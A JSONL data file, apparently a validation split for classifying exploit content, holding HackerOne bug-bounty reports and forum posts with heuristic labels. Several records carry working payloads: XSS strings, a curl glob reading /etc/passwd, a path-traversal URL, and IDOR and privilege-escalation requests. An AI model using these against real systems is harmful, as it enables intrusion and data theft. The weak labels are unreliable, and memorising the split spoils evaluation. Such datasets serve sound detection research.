-{"id": "4b22fcfdefa7b9ea5e66", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in repository file viewer\n\n### Summary\nThere exists XSS in swagger-ui version used in GitLab open API viewer. The XSS exists due to the old version of DOMpurify used in swagger-ui that allows an attacker can  **inject any HTML elements with any attributes** (except script tag) on the page. \n\nThe XSS in POC requires 1 click anywhere on the page to execute, because of CSP that does not allow to execute events from HTML tags. (f.e. <img src=1 onerror=alert(1)). I will try to find CSP bypass that will allow me to execute the script with no user interaction.\n\nMy script uses the CSP bypass presented in https://gitlab.com/gitlab-org/gitlab/-/issues/213273\n```\n<a   \n  data-remote=\"true\"\n  data-method=\"get\"  \n  data-type=\"script\"\n  href=\"/wbowling/wiki/raw/master/test.js\" \n  class='atwho-view select2-drop-mask pika-select'>\n</a>  \n```\n\n### Steps to reproduce\n\n1. Go to https://gitlab.com/kannthu/asdasdas123/-/blob/master/openapi.yaml (tested on Chrome and Firefox)\n2. Click anywhere on the page\n3. You should see the alert box\n\nThere is another way of executing this XSS. **You can add \"url=https://gitlab.com/kannthu/asdasdas123/-/raw/master/openapi.yaml\" parameter to the URL of any open API file in any repository, and the XSS will still work**. \n\n1. Open https://gitlab.com/gitlab-org/build/omnibus-mirror/alertmanager/blob/master/api/v2/openapi.yaml?url=https://gitlab.com/kannthu/asdasdas123/-/raw/master/openapi.yaml\n2. Click anywhere on the page\n3. You should see the alert box\n\n### Impact\n\nThe stored XSS is triggering for any user that opens the page and clicks anywhere on the page. The PoC can easily be extended to steal the user's CSRF token and to take over the victim's account.\n\n### Examples\n\n- https://gitlab.com/kannthu/asdasdas123/-/blob/master/openapi.yaml\n- https://gitlab.com/gitlab-org/build/omnibus-mirror/alertmanager/blob/master/api/v2/openapi.yaml?url=https://gitlab.com/kannthu/asdasdas123/-/raw/master/openapi.yaml\n\n\n### What is the current *bug* behavior?\nGitlab uses an old version of swagger-ui.\n\n### What is the expected *correct* behavior?\nGitlab should use the newest version of swagger-ui.\n\n### Relevant logs and/or screenshots\nF1146909\n\n### Output of checks\nThis bug happens on GitLab.com\n\n#### Results of GitLab environment info\n-\n\n## Impact\n\nThe stored XSS is triggering for any user that opens the page and clicks anywhere on the page. An attacker can render anything on that page - malicious form to steal the user's login and password, or simply get the user's CSRF token and to take over the victim's account.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7a89388bb96e67b605d9", "text": "Something is wrong with this machine, port 9999 is not listening anymore. I started with this fortress a week ago, 9999 was up. But now it’s not. I just voted for the machine reset, it’s been rebooted, but it didn’t help.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b4af6a9d4b14ed6895d4", "text": "Transmission Control ProtocolTCP stands for Transmission Control Protocol. TCP is a communication standard that enables application programs and computing devices to exchange messages over a network. TCP establishes a connection between the source and destination before it starts transmitting the data. It breaks large amounts of data into smaller packets while ensuring data integrity.TCP server in pythonWe import socket and threading module. The socket module provides various objects, constants , functions and related exceptions for building full-fledged network applications including client and server programs. The threading module allows a program to run multiple operations concurrently in the same process space thus making the program faster.import socketimport threadingWe create a socket object with the the AF_INET and SOCK_STREAM parameters. AF_INET specifies the address family that our socket will use and in this case, it is Internet Protocol Version 4 address. SOCK_STREAM shows that the socket object will use TCP.#create TCP/IP socketsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)We define the IP and the port number for the server and we pass these arguments to the socket. This tells the socket object to listen on this IP address and port number.server_ip = 0.0.0.0server_port = 9999#Bind socket to portsock.bind((server_ip,server_port))This sets the number of maximum connections that can be connected to the server.in this case, the the server can only have a maximum of 5 connections.#Listen for incomming connectionssock.listen(5)Once a client has established a connection to the server, we keep the client’s socket in the connection variable and the connection details in the client_addr variable. client_addr[0] stores the IP address of the client and client_addr[1] stores the port that the client used to establish a connection to the server.For each client connection, we spin up a thread object that calls the handle_client function and we pass in the connection variable as the argument to the function.while True:    #wait for connection    connection,client_addr = sock.accept()    print([*] Accepted connection from: %s:%d %(client_addr[0],client_addr[1]))    client_handler =  threading.Thread(target=handle_client, args=(connection,))    client_handler.start()The handle_client function receives what the client socket sent and it sends back an ACK! message to the client to acknowledge that the message was received.Then it closes the connection.def handle_client(client_socket):    request = client_socket.recv(1024)    print([*] Recieved: %s %request)    #send acknowldgement    data = ACK!.encode('utf-8')    client_socket.send(data)    client_socket.close()Here is the full code for the tcp server in python.import socketimport threading#create TCP/IP socketsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server_ip = 0.0.0.0server_port = 9999#Bind socket to portsock.bind((server_ip,server_port))#Listen for incomming connectionssock.listen(5)print ([*] Listening on %s:%d %(server_ip,server_port))def handle_client(client_socket):    request = client_socket.recv(1024)    print([*] Recieved: %s %request)    #send acknowldgement    data = ACK!.encode('utf-8')    client_socket.send(data)    client_socket.close()while True:    #wait for connection    connection,client_addr = sock.accept()    print([*] Accepted connection from: %s:%d %(client_addr[0],client_addr[1]))    client_handler =  threading.Thread(target=handle_client, args=(connection,))    client_handler.start()Let’s run the server.python3 tcp_server.py [*] Listening on 0.0.0.0:9999The server is listening on 0.0.0.0:9999 and is ready for any incoming connections.##TCP client in pythonCreating a tcp client is the same as creating the tcp server with only a few changes. Here the client connects to the server running on 0.0.0.0:9999 and sends a Hello World! message. Then, it prints the response it receives from the server.import sockettarget_ip = 0.0.0.0target_port = 9999#create a socket objectclient = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#connect ", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-04-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "59fe46b619bf6a50ae18", "text": "[Improper Access Control - Generic] error parse uri path in curl\n\n## Summary:\n[add summary of the vulnerability]\n\nThe uri path error could lead to security filter bypasses. \nFor example, \nwe can use  curl  -vv 'f[h-j]le:///etc/passwd' to bypass  file protocol  black list\nwe can use  curl  -vv 'http://1.1.1.1:[80-9000]' to scan the open port in the host\netc ...\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\ncurl -vv 'f[h-j]le:///etc/passwd' will  parse 3 request , like  curl -vv 'fhle:///etc/passwd' 、curl -vv 'file:///etc/passwd' 、curl -vv 'fjle:///etc/passwd' \n```\n[root@iz2ze9awqx4bwtc7j5q4hsz bin]# ./curl -Version\ncurl 7.83.1 (x86_64-pc-linux-gnu) libcurl/7.83.1 zlib/1.2.7\nRelease-Date: 2022-05-11\nProtocols: dict file ftp gopher http imap mqtt pop3 rtsp smtp telnet tftp \nFeatures: alt-svc AsynchDNS IPv6 Largefile libz UnixSockets\n[root@iz2ze9awqx4bwtc7j5q4hsz bin]# ./curl -vv 'f[h-j]le:///etc/passwd'\n* Protocol \"fhle\" not supported or disabled in libcurl\n* Closing connection -1\ncurl: (1) Protocol \"fhle\" not supported or disabled in libcurl\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\nsystemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\npolkitd:x:998:997:User for polkitd:/:/sbin/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\npostfix:x:89:89::/var/spool/postfix:/sbin/nologin\nchrony:x:997:995::/var/lib/chrony:/sbin/nologin\nntp:x:38:38::/etc/ntp:/sbin/nologin\nnscd:x:28:28:NSCD Daemon:/:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\nadmin:x:1000:1000::/home/admin:/sbin/nologin\napache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin\npostgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/sbin/nologin\nsquid:x:23:23::/var/spool/squid:/sbin/nologin\nworkftp:x:1002:1003::/home/work/ftp/:/sbin/nologin\nmysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin\n* Closing connection 0\n* Protocol \"fjle\" not supported or disabled in libcurl\n* Closing connection -1\ncurl: (1) Protocol \"fjle\" not supported or disabled in libcurl\n[root@iz2ze9awqx4bwtc7j5q4hsz bin]# wget 'f[h-j]le:///etc/passwd'\nf[h-j]le:///etc/passwd: 地址缺少协议类型.\n[root@iz2ze9awqx4bwtc7j5q4hsz bin]# \n```\n\nSo, I think this is a security questions of  curl, because the wget doesn't have same question. Thinks \n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nbypass the security filter like the SSRF/RFL/LFI  etc.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3e15454ad4bf07d76d7b", "text": "[Cleartext Storage in a File or on Disk] OAuth2 client_secret stored in plain text in the database\n\nIf an attacker would obtain a dumb of the database they could read out the OAuth2 client secret trivially.\nhttps://github.com/nextcloud/server/blob/master/apps/oauth2/lib/Controller/OauthApiController.php#L128\n\nWhile I realise this is a big if it is not that hard to make sure the client secret is stored properly hashed.\nOr at the very least make sure it is stored encrypted. (however non recoverable has the preference here I'd say)\n\n## Impact\n\nAn attacker obtaining the read access to a dump of the database can trivially impersonate any OAuth2 client.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1c05c0fcd423d29975a2", "text": "[Insufficient Session Expiration] Disconnecting an external login provider does not revoke session\n\nHi team,\n\nSummary:\nattacker could create a backdoor using google login function.if an attacker stole the  login password of victims throught any means. attacker could connect his/her google account and create a backdoor and attacker login with google  if the victim disconnect attacker session did  not expire and still get access beacuse of no session expire after disconnected with google account .attacker could still connect his google account again.\n\nSteps To Reproduce:\n  1. attacker stole the  login password of victims throught any means - https://accounts.shopify.com {{attacker prespective}}\n  2.  attacker could connect his/her google account {{attacker prespective}}\n 3. attacker login with google authentication {{attacker prespective}}\n4. victim disconnect attacker session did  not expire and still get access beacuse of no session expire  in the attacker browser after disconnected with google account {{victims prespective}}\n5. attacker could still connect his google account again. {{attacker prespective}}\n\nPOC video attached in this report\n\n## Impact\n\nno session expire after disconnected with google account an attacker can still logined to the victim account .thus an attacker could create a backdoor in victim account to login even if the victims changes the password attacker has a backdoor way to login to the account .", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8fbf5e680e5e6b920ea4", "text": "[Privilege Escalation] access list owner can escalate his role to the highest roles\n\n## Summary:\n\n1. Go to [your-domain.teleport.sh/web/accesslists].\n\n2. Create a new access list and add a role to \"Roles Granted,\" e.g., \"reviewer\" role.\n\n3. Add a user as the Access List Owner.\n\n4. The user, as the Access List Owner, can escalate the role of the list to higher roles, thereby escalating their own account's role.\n\nThis is a prohibited procedure, as stated [here](https://goteleport.com/docs/access-controls/access-lists/reference/#access-list-ownership), that Owners are not able to control what roles and traits are granted by the Access List.\n\n## Steps To Reproduce:\n\n### From Organization Owner Account:\n\n1. Go to [your-domain.teleport.sh/web/accesslists].\n\n2. Create a new access list.\n\n3. Add a user as List Owner.\n\n4. Add a role to \"Roles Granted,\" e.g., \"reviewer\" role.\n\n### From Access List Owner Account:\n\n1. Add a new member to the access list and intercept the request.\n\n2. Add \"editor\" role on \"grants roles.\"\n\n3. The \"editor\" role will be added to \"Permissions Granted.\"\n\n4. Logout and relogin.\n\n5. Now, the user has the \"editor\" role and can perform any action on the organization.\n\n## Impact\n\n- Unauthorized Access: Potential for unauthorized access to sensitive information.\n- Security Breach: Risk of compromising the overall security of the system.\n- Privilege Escalation: Violation of the principle of least privilege.\n- Violation of Access Control Policies: Contradiction with Teleport's documentation and policies.\n- Risk of Insider Threats: Potential exploitation by malicious insiders.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cdcdd3a147f14d05d37a", "text": "[Insecure Storage of Sensitive Information] Splunk Sensitive Information Disclosure @████████\n\nHi Team,\n\nHope you are doing great.\nI got a domain that contains Splunk Sensitive Information Disclosure @██████████\nPoC:\nhttps://███████/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json\n█████████\n\nSplunk through 7.0.1 allows information disclosure by appending __raw/services/server/info/server-info?output_mode=json to a query, as demonstrated by discovering a license key.\n\nReference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-11409\n    - https://github.com/kofa2002/splunk\n    - https://www.exploit-db.com/exploits/44865/\n    - http://web.archive.org/web/20211208114213/https://securitytracker.com/id/1041148\n\n## Impact\n\nSplunk Sensitive Information Disclosure\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nOpen this link:\nhttps://█████████/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json\n\n## Suggested Mitigation/Remediation Actions", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2018-11409"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2607eec44e600d88b11e", "text": "[Path Traversal: '.../...//'] Local file read at https://████/ [HtUS]\n\nHeyy there,\nI have found local file read vulnerability in your website https://█████/\n\nThis the vulnerable endpoint https://██████████/download.php?filePathDownload=data_products and the `filePathDownload` path is vulnerable which allows an attacker to read any local files.\n\nThere was some sort protection when I first checked this endpoint, as it was returning 403 forbidden status code, upon trying something similar as the hacker has shown in report #1542734 . But I was able to bypass the protection in place.\n\n\n---------------------\n\n**Steps to reproduce:**\n\nJust visit this url , which will display the contents of the `/etc/passwd` file:\n\nhttps://████████/download.php?filePathDownload=data_products/../../../../../etc/passwd\n\n\nResponse:\n\n```\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\npolkitd:x:999:998:User for polkitd:/:/sbin/nologin\npostfix:x:89:89::/var/spool/postfix:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\nchrony:x:998:995::/var/lib/chrony:/sbin/nologin\nec2-user:x:1000:1000:Cloud User:/home/ec2-user:/bin/bash\nsaslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin\nmailnull:x:47:47::/var/spool/mqueue:/sbin/nologin\nsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologin\nsssd:x:995:993:User for sssd:/:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin\nntp:x:38:38::/etc/ntp:/sbin/nologin\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\nnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin\nsustainment:x:1001:1001::/home/sustainment:/bin/bash\nemerg:x:1002:1002:Sustainment Linux Emergency Acct:/home/emerg:/bin/bash\ncwagent:x:993:992::/home/cwagent:/bin/bash\nssm-user:x:1003:1004::/home/ssm-user:/bin/bash\napache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin\ndrupal:x:1004:1005::/home/drupal:/bin/bash\nsplunk:x:1005:1006:Splunk Server:/opt/splunkforwarder:/bin/bash\nmfe:x:992:1007::/home/mfe:/sbin/nologin\naoc:x:991:991:AWS OTel Collector:/home/aoc:/sbin/nologin\n```\n\n\n\nAlso the content of `/etc/hosts`\n\n```\n127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4\n::1         localhost localhost.localdomain localhost6 localhost6.localdomain6\n\n████ ███████\n████████\n███████\n███████\n█████████\n██████████\n████████\n\n```\n\n\n\nYou can also read the source code for the available php files such as index.php,download.php\n\nHere's the source code for `download.php`\nhttps://█████/download.php?filePathDownload=data_products/../download.php\n\n```php\n<?php\n\nfunction checkPath($path){\n\n  if(!contains($path, \"data_products\")){\n\n    ob_clean();\n    http_response_code(403);\n\tthrow new RuntimeException('File Not Found Error');  \n    exit();\n    \n  }\n\t\t\n\t\n}\n\nfunction startsWith( $haystack, $needle ) {\n     $length = strlen( $needle );\n     return substr( $haystack, 0, $length ) === $needle;\n}\n\nfunction contains( $haystack, $needle ) {\n     return strpos($haystack, $needle) !== false;\n}\n\nif(isset($_REQUEST[\"file\"]) && isset($_REQUEST['linkpath'])){\n $linkpath=$_REQUEST['linkpath'];\n    echo $file = htmlspecialchars(urldecode(base64_decode($_REQUEST[\"file\"]))); // Decode URL-encoded string\n    echo   $filepath =  $linkpath.'/'.$file;\n    checkPath($filepath);\n    if(is_file($filepath)){\n                    ob_clean();\n                    header(\"Pragma: public\");\n                    header(\"Expires: 0\");\n                    header(\"Cache-Control: must-revalid", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cdc2ffa861021ca149ea", "text": "[Improper Access Control - Generic] Unauthorized access\n\nHello Gents,\nI would like to report an issue where attackers are able to:\n1. List `about.gitlab.com` GS bucket.\n2. Access all resales through https://about.gitlab.com/all-releases.xml & https://about.gitlab.com/security-releases.xml, which contains undisclosed HackerOne reports.\n> For Example:\n```\n<p>This vulnerability has been discovered internally by the GitLab team.</p> <h2 id=\"pipeline-subscriptions-trigger-new-pipelines-with-the-wrong-author\">Pipeline subscriptions trigger new pipelines with the wrong author</h2> <!-- https://gitlab.com/gitlab-org/security/gitlab/-/issues/642 -->\n <p>A critical issue has been discovered in GitLab affecting all versions starting from 14.0 prior to 14.10.5, 15.0 prior to 15.0.4, and 15.1 prior to 15.1.1 where an authenticated user authorized to import projects could import a maliciously crafted project leading to remote code execution. This is a critical severity issue (<code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</code>, 9.9). It is now mitigated in the latest release and is assigned <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2185\">CVE-2022-2185</a>.</p> <p>Thanks <a href=\"https://hackerone.com/vakzz\">vakzz</a>\n```\n3. Access https://about.gitlab.com/mindmap.txt which contains this internal Google Documents link:\nhttps://docs.google.com/document/d/e/2PACX-1vSNzTLkZMqILVYoey4dnSLYdk0Jmsd8pFu7ygLJ57RQ1c8XlZDbzaG45rQMOrDbHRWCQa5LN7DZid8s/pub\n> I didn't dig in so much , but I was able to edit a document like this one: \n> [GitLab_MessageGuide](https://docs.google.com/document/d/14APaSKwYpwutujISnkbLOnjdQ5RG-hIQXulasZT7h6s/edit)\n4. list All Gitlab Staff full names through https://about.gitlab.com/roulette.json\n5. All JavaScript files using `gsutil ls gs://about.gitlab.com/javascripts/`, there are many other files too.\n> Also please take a look at this json file: https://storage.googleapis.com/about.gitlab.com/_nuxt/content/db-0881eaf3.json, it contains phone numbers, tokens, and more than 1000 URLs could be useful for attackers.\n\n### Steps to reproduce:\n+ Please visit https://storage.googleapis.com/about.gitlab.com, or you can install [gsutil](https://cloud.google.com/storage/docs/gsutil_install). then list the bucket using the following command: \n+ `gsutil ls gs://about.gitlab.com/`.\n\n### Proof of concept\n+ {F1867120}\n+ {F1867121}\n+ {F1867122}\n+ {F1867125}\n\n## Impact\n\nUnauthorized access & Information disclosure.\n\nThanks and have a nice day!", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-2185"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cfed50dad5ad813a6431", "text": "[Improper Access Control - Generic] End-to-end encrypted file-drops can be made inaccessible\n\nAssume a filedrop that is send to 2 people, USER and ATTACKER\n\n1. user uploads their E2EE encrypted fileA into the filedrop\n2. All goes well\n3. Now ATTACKER comes along and wants mess up the upload from USER\n4. They obtain the metadatafile\n5. They modify the entry in the filedrop list that USER created\n6. They upload their new metadatafile\n7. Unlock it\n8. FileA is now not able to be decoded at all anymore.\n\n## Impact\n\nThe CIA model (Confidentiality, integrity and availability) is here very easy to break. An attacker can almost trivially in this case break the availability.\nNote that due to the nature of providing the metadatafile an attacker can trivially know if there are other filedrop files.\n\nTo solve\n1. Do not provide the metadata file to the user in file drop at all\n2. Only send back the new entry (which they can create without the metadatafile)\n3. Append the new entry in the backend code.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0f13c16e10a6e2dfce72", "text": "[Improper Access Control - Generic] Chat room member disclosure via autocomplete API\n\n## Summary:\nEven if you are not a member of a Spreed room, it is possible to find out who is in the room using the autocomplete API. I have not yet checked if this affects other autocomplete share types.\n\n## Steps to reproduce:\n\nRequirements: Three users named \"demo\", \"demo1\" and \"hacker\".\n\n1. Create a new Spreed room as user \"demo\" (note the room ID)\n2. Add user \"demo1\" to the room\n3. Log in as user \"hacker\" and execute the following in the JavaScript console of your browser Change the `itemId` to the room ID you created earlier.\n\n```\nlet req = new XMLHttpRequest();\nreq.open(\"GET\", OC.generateUrl('/ocs/v2.php/core/autocomplete/get?search=demo&itemType=call&itemId=qqads88a&shareTypes[]=0&shareTypes[]=1&shareTypes[]=7&shareTypes[]=4'))\nreq.setRequestHeader('requesttoken',OC.requestToken)\nreq.send();\n```\n\n4. In the Network tab you will now see the following response:\n\n```\n<?xml version=\"1.0\"?>\n<ocs>\n <meta\n  <status>ok</status>\n  <statuscode>200</statuscode>\n  <message>OK</message\n </meta>\n <data/>\n</ocs>\n```\n\n5. Now as user \"demo\" remove user \"demo1\" from the chat room.\n6. Re-send the request as user \"hacker\", you will now see that `demo1` is available as a suggestion and therefore not a member of the chat room:\n\n```\n<?xml version=\"1.0\"?>\n<ocs>\n <meta>\n  <status>ok</status>\n  <statuscode>200</statuscode>.\n  <message>OK</message\n </meta>\n <data>\n  <element>\n   <id>demo1</id>\n   <label>demo1</label>\n   <icon>icon-user</icon>\n   <source>users</source>\n   <status/>\n   <subline></subline>\n   <shareWithDisplayNameUnique>demo1</shareWithDisplayNameUnique>\n  </element>\n </data>\n</ocs>\n```\n\n## Impact\n\nAn attacker could use this vulnerability to gain information about the members of a Spreed chat room, even if they themselves are not members. This information could potentially be used for malicious purposes, such as targeted phishing attacks or social engineering attempts. The impact could depend on the sensitivity of the information being shared in the chat room.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7eac6f4eda4d4d304aa3", "text": "[Cross-site Scripting (XSS) - Reflected] Cross-site Scripting (XSS) - Reflected at https://██████████/\n\nHello Team,\ni just found a reflected xss bug on your web https://█████\n\nStep To reproduce:\n poc url: https://████/7/0/33/1d/www.citysearch.com/search?what=x&where=place%22%3E%3Csvg+onload=confirm(document.domain)%3E\n\n## Impact\n\nImpact\nData can be stolen, or Javascript can be executed.This is will allow the attacker to steal users cookies\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. go to parameter  https://█████████/7/0/33/1d/www.citysearch.com/search?what=x&where=\n2. enter \"><svg+onload=confirm(document.domain)>\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3c0ee4e6fae4749d6ce4", "text": "[Code Injection] Arbitrary file download due to bad handling of Redirects in WebTorrent\n\n## Summary:\n\nPreviously I reported  #963155 how an attacker can trick user into downloading malicious files using \".save torrent\" feature, In this report I am going to reproduce the same behavior but by abusing a different feature.\n\n## Description\n\nWhile I was testing webtorrent on brave I noticed that whenever webtorrent detects a torrent file a request is made to the following extension scheme \n```\nchrome-extension://lgjmpdmojkpocjcopdikifhejkkjglho/extension/brave_webtorrent.html?{torrent_url/magnet_link}\n```\n\nWebTorrent also consider a URL a valid torrent file if a URI starts with a `magnet:` scheme or if it ends with a `.torrent` extension for example:-\n\n```\nchrome-extension://lgjmpdmojkpocjcopdikifhejkkjglho/extension/brave_webtorrent.html?http://xyz.com?x=.torrent\nchrome-extension://lgjmpdmojkpocjcopdikifhejkkjglho/extension/brave_webtorrent.html?magnet%3Ablahblah\n```\nBoth the above URIs will be considered as a valid torrent file by WebTorrent (Refer below SS).\n\n{F977576}\n\nAnother behavior that I observed was, when opening a URL `http://xyz.com?x=.torrent` will serve a normal response but one can force it to be opened with WebTorrent using the extensions scheme `chrome-extension://lgjmpdmojkpocjcopdikifhejkkjglho/extension/brave_webtorrent.html?http://xyz.com?x=.torrent`\n\nAlso, if a website for example, `http://xyz.com` redirects to `http://abc.com` then one can interrupt the redirection and can force it to open the source site via webtorrent before the redirection takes place. This behavior can be leveraged by an attacker to redirect a user to a malicious website or can force user to download a malicious file onto their system (for more better understanding please refer the Steps-to-Reproduce section) .\n\n## Tested on\n\n* Brave Version 1.12.114 Chromium: 84.0.4147.135 (Windows)\n\n## Steps To Reproduce:\n\n* Visit https://php-demo-app-shibli.cfapps.io/brave/brave-poc.html\n* Click on \"Save .torrent file\" option\n* \"Poison.bat\" file will be downloaded onto your machine\n\nAn attacker can also use this to redirect the user to a malicious webpage. See below POC video\n\n{F977593}\n\n## Impact\n\nRemote Code Execution\nRemote JavaScript execution\nInstalling malware on client's machine\nPhishing", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0488485d35936cff9d70", "text": "This is the reply that helped me the most if you’re stuck. Happy Wizard hunting all!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-10-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a1a7850cf77254b1c958", "text": "[Insecure Direct Object Reference (IDOR)] Getting access of mod logs from any public or restricted subreddit with IDOR vulnerability\n\n## Summary:\nThere's no check if the user is moderator of the particular subreddit or not while trying to access the mod logs via gql.reddit.com by using operation id. You can change the parameter **subredditName** to any target subreddit name which is public or restricted and get access to mod logs of that subreddit.\n\n## Steps To Reproduce:\n+  Log into any account as an attacker and get the authorization token\n+ Send request given below at gql.reddit.com\n```\nPOST / HTTP/2\nHost: gql.reddit.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nContent-Length: 62\nX-Reddit-Compression: 1\nOrigin: https://www.reddit.com\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-site\nAuthorization: Bearer ourtoken\nReferer: https://www.reddit.com/\nTe: trailers\n\n{\"id\":\"6243efcbc61d\",\"variables\":{\"subredditName\":\"any-subreddit\"}}\n```\nThe response will look something like below\n{F1851522}\n+ It only gives one page of logs.Look at the response and see if the value of **hasNextPage** is true or false. If It's false then there are no more logs other than the ones we got\n+ If it's true then there are more logs and we can get them by just adding new variable **after** and assigning value of **endCursor**, which we can see in the reponse body of our request {F1851533}\n+ Final request body will look something like this\n```\n{\"id\":\"6243efcbc61d\",\"variables\":{\"subredditName\":\"any-subreddit\",\n\"after\":\"code-from-endCursor\"\n}}\n```\n+ After sending the request we'll get second page of logs. If we still get **hasNextPage** as true, 